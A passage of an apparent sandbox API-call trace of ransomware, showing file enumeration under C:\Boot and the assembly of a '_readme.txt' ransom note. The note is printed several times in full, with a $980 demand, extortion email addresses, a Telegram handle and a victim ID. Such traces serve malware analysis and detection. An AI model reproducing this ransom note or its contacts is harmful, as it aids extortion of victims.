ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.915] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.915] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.915] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.915] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0124.916] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.916] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.916] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.916] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.916] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.920] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.920] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.920] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.920] PathFindFileNameW (pszPath="") returned="" [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.920] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.920] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.920] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.921] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.921] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.921] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.921] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.921] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.921] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.921] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.921] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.921] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, 